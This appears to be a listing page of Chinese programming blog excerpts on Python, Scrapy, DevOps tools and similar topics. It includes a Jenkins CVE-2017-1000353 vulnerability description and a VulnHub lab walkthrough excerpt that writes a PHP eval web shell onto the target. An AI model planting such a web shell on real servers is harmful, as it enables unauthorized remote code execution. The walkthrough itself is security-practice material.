Python
py小程序:根据身份证号提取出生日期、性别、年龄
py小程序:根据身份证号提取出生日期、性别、年龄 ━━━━━━━━━━━━━━━━━━━━━━ 你可以使用 Python 编写一个小程序,根据输入的身份证号码提取出生日期、性别、年龄。下面是可能的实现方式。 这个程序中,我们首先从身份证号码中提取出生日期,然后计算当前年龄。计算年龄的方式是通过当前日期减去出生日期,并考虑出生月份和日期对当前月份和日期的影响。然后,我们从身份证号码中提取性别信息。
centos7-datax和datax-web安装以及安装中问题的解决
一、下载这些软件(见) 系统变量设置(安装maven和jdk略) vi /etc/profile JAVA_HOME=/usr/local/jdk1.8.0_40 CLASSPATH=$JAVA_HOME/lib/ PATH=$PATH:$JAVA_HOME/bin DATAX_HOME=/usr/local/datax PATH=$PATH:$DATAX_HOM
Scrapy中下载中间件
Scrapy中下载中间件 下载中间件是Scrapy请求/响应处理的钩子框架。这是一个轻、低层次的应用。 通过可下载中间件,可以处理请求之前和请求之后的数据。 每个中间件组件都是一个Python类,它定义了一个或多个以下方法,我们可能需要使用方法如下: process_request() process_response() process_request(self, request,
Scrapy_下载中间件设置UserAgent
Scrapy 中 Downloader 设置UA 下载中间件是Scrapy请求/响应处理的钩子框架。这是一个轻、低层次的应用。 通过可下载中间件,可以处理请求之前和请求之后的数据。 如果使用下载中间件需要在Scrapy中的setting.py的配置DOWNLOADER_MIDDLEWARES才可以使用, 比如: DOWNLOADER_MIDDLEWARES = { 'myproject.mid
Scrapy 中 Downloader 设置代理
from scrapy.downloadermiddlewares.httpproxy import HttpProxyMiddleware class MyProxyMiddleware: def process_request(self, request, spider): # request.meta['proxy'] ='http://ip:port'
【已解决】GO语言开发中调用另一个库报错 cannot refer to unexported name XXXX
package main import ( "fmt" "study_gos/main/kehu" ) //使用了go.mod //GOPATH ;D:workspacestudysstudy_gos //cd /d/workspace/studys/study_gos/src //go env -w GO111MODULE=on //go mod init study_gos //g
深入Python网络编程:从基础到实践
Python,作为一种被广泛使用的高级编程语言,拥有许多优势,其中之一就是它的网络编程能力。Python的强大网络库如socket, requests, urllib, asyncio,等等,让它在网络编程中表现优秀。本文将深入探讨Python在网络编程中的应用,包括了基础的socket编程,到高级的异步IO网络编程,以及我们如何能够充分利用这些工具来开发网络应用。 Socket编程基础 Sock
【RS】基于ENVI给图片/影像定义坐标系
作为遥感工作者,有时会需要对图片或者影像进行镶嵌拼接的操作,但ENVI里的镶嵌需要图片/影像本身具有投影坐标系。那么问题就来了,如果我的图片没有坐标系,或者只知道图片中心点的经纬度坐标(GPS),那我们该如何进行镶嵌拼接操作呢?我们可以先给图片赋予一张投影坐标系,之后再进行拼接的操作即可。 &nb
【jenkins】CVE-2017-1000353
0x01漏洞原理 enkins 未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。 0x02影响版本 所有Jenkins主版本均受到影响(包括<=2.56版本)所有Jenkins LTS
PaddleOCR学习笔记1
尝试使用PaddleOCR方法,如何使用自定义的模型方法,参数怎么配置,图片识别尝试简单提高识别率方法。 目前仅仅只是初步学习下如何使用PaddleOCR的方法。 一,测试识别图片: 1.png : 正确文本内容为“哲学可以帮助辩别现代科技创新发展的方向” 二,测试代码: from paddleocr import PaddleOCR from PIL impor
指定路径,查找指定关键词 shell脚本
指定路径,查找指定关键词 shell脚本 原创 Kubehan 云原生知识栈 2023-05-14 12:19 发表于北京 收录于合集#脚本系列6个 指定路径,查找指定关键词 shell脚本 云原生知识栈 本号由Kubehan运营主要关注Linux技术,数据库技术,K8s,CICD,Istio,ServiceMesh,DevOps,
函数对象与闭包(笔记整理)
一、函数对象 1.什么是函数对象 函数对象是指:将函数作为变量保存在内存中的一种对象。就是把函数当成变量去使用,就是在函数调用阶段,将调用的函数赋一个变量名 2.如何使用函数对象 使用函数对象有四种方法: 把函数当成边变量去使用,可以给函数名赋值 函数名可以作为参数传入另外一个函数 函数的返回值可以是一个函数 函数可以作为容器类型里面的其中一个元素,就是把函数名当成一个元素使用
Python生成简短的唯一ID
GUID生成的ID太长, 不方便使用, 我想生成一个短的, 最好不要有特殊字符, 另外, 只在本机使用, 不跨网络, 所以我使用当前时间作为生成的ID, 为了使生成的ID更短一些, 对它进行重新编码; 另外, 为防止短时间内有重复的ID, 记录上次生成的ID并进行重复判断. 代码如下: 最后生成的ID形如:AGEPAW5WOM, 只有10个字符.
json 和 shelve
跨平台交互用json(老版本跨平台交互XML)。json里面的字符串用双引号,不能用单引号json把信息序列化(字典转字符串,或者字符串转字典)dump(),load(),dumps(),和loads() 存档用pickle,不能跨平台交互(python特有类型)dump(),load(),dumps(),和loads() shelve是对pickle的更高级封装shelve模块是一个简单的key
基于k6和python进行自动化性能测试
摘要:在性能测试中,达到相应的性能指标对于一个软件来说十分重要,在本文中,将介绍一种现代化性能测试工具k6。 本文分享自华为云社区《基于k6和python进行自动化性能测试》,作者: 风做了云的梦。 当我们开发完成一个应用程序时,往往需要对其进行性能测试,以帮助我们更好的优化程序以及发现程序中的一些bug。在性能测试中,达到相应的性能指标对于一个软件来说十分重要,在本文中,将介绍一种现代化性能测试
pytest + yaml 框架 -41.postman 和 python代码也能录制成用例
前言 python代码 和postman 写的接口也能通过录制功能自动生成yaml格式用例了。 python 代码运行后自动录制 在项目本地新建一个recorde.py ,名称随便定义 本地 python 代码如下 执行后会自动抓到对应接口,转成 test_post_post.yml 测试用例 postman 上接口也能抓取 如果你之前接口写在postman 上,想转成yaml 用例也很简
成为python爬虫工程师需要哪些知识?
爬虫(Web crawler)是一种自动化程序,用于从互联网上抓取、解析和提取网页数据。它模拟浏览器行为,通过发送HTTP请求获取网页内容,并通过解析网页源代码或DOM结构,提取所需的信息。以python爬虫为例,作为一名合格的工程师需要具备那些专业技能? Python爬虫的难度可以因个人经验和项目需求而异,但总体来说,Python爬虫并不算特别困难。以下是一些相关考虑: 编程基础:如果您对Py
python 大根堆
python默认的都是小根堆,实现数字的大根堆,可在堆化前把数字 乘以 -1 ,输出时 再 乘以 -1 变回原值。 比如: [5, 20, 6],堆化前用列表推导式把列表转为: [-5, -20, -6] import heapq import random data = list(range(1,30)) random.shuffle(data) # 打乱顺序 data = da
heapq大小写字母数字混合堆
import heapq lst = list("AbSZDYM6BTXHU") print(lst) # ['A', 'b', 'S', 'Z', 'D', 'Y', 'M', '6', 'B', 'T', 'X', 'H', 'U'] heapq.heapify(lst) print(lst) # ['6', 'A', 'H', 'B', 'D', 'S', 'M', 'Z', 'b
vulnhun靶场:jangow-01-1.0.1
kali:172.88.6.144 靶场:172.88.6.64 靶场地址:Jangow: 1.0.1 ~ VulnHub 访问ip 点击右上角的buscar 写入一句话:echo '<?php eval($_POST['shell']);?>' > upfine.php
linux常见软件的环境搭建
1、python环境搭建 python: weget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz tar -Jxvf Python-3.7.0.tar.xz yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel re
什么时候需要微调你的大模型(LLM)?
前言 在AI盛起的当下,各类AI应用不断地出现在人们的视野中,AI正在重塑着各行各业。相信现在各大公司都在进行着不同程度的AI布局,有AI大模型自研能力的公司毕竟是少数,对于大部分公司来说,在一款开源可商用的大模型基础上进行行业数据微调也正在成为一种不错的选择。 本文主要用于向大家讲解该如何微调你的大模型,建议大家点赞收藏。 以下有一些相关的文章: RAG——使用检索增强生成构建特定行业的大型语言
Python爬虫之数据解析技术
Python爬虫需要数据解析的原因是,爬取到的网页内容通常是包含大量标签和结构的HTML或XML文档。这些文档中包含所需数据的信息,但是需要通过解析才能提取出来,以便后续的处理和分析。 以下是一些使用数据解析的原因: 数据提取:网页内容通常包含大量的无关信息和嵌套结构,数据解析可以帮助我们从中提取出所需的信息,如标题、正文、链接、图片等。 数据清洗:爬取到的数据可能包含多余的空格、换行符、HTM
使用ansible-app2k8s管理和部署服务到 kubernetes
ansible-app2k8s #1 介绍 使用 ansible 管理和部署服务到 kubernetes 适用于项目容器化,多套 k8s 环境的管理,可结合CICD工具做DevOps 来自于项目实践,已部署多套 k8s 环境 自建 k8s 阿里云 ACK 腾讯云 TEK 华为云 CCE AWS EKS 微软云 AKS #2 主要功能 镜像构建并推送到镜像仓库 环境初始化(创建 name
rabbitmq安装部署和常用命令
python操作rabbitmq rabbitmq实现可以使用java或者springboot的封装方法,自己创建实现,也可以使用中间件实现,相对于自建,使用rabbitmq应用场景及使用更系统安全。本文具体介绍rabbitmq中间件部署。 消息队列中间件是分布式系统中重要的组件,主要解决应用耦合,异步消息,流量削锋等问题实现高性能,高可用,可伸缩和最终一致性[架构] 使用较多的
python操作rabbitmq
rabbitmq安装部署 RabbitMq生产者消费者模型 生产者(producter) 队列消息的产生者,复制生产消息,并将消息传入队列生产者代码: 操作前 通过pika生命一个认证用的凭证,然后用pika创建rabbitmq的块连接,再用上面的连接创建一个AMQP信道 。创建消息队列的连接时,需要指定ip
《最新出炉》系列初窥篇-Python+Playwright自动化测试-4-playwright等待浅析
1.简介 在介绍selenium的时候,宏哥也介绍过等待,是因为在某些元素出现后,才可以进行操作。有时候我们自己忘记添加等待时间后,查了半天代码确定就是没有问题,奇怪的就是获取不到元素。然后搞了好久,或者经过别人的提示才恍然大悟没有添加等待时间。而playwright为了避免我们犯这么low的错误,它对元素执行操作前,会进行一系列可操作性检查,以确保这些行动按预期运行。它会自动等待所有相关检查通过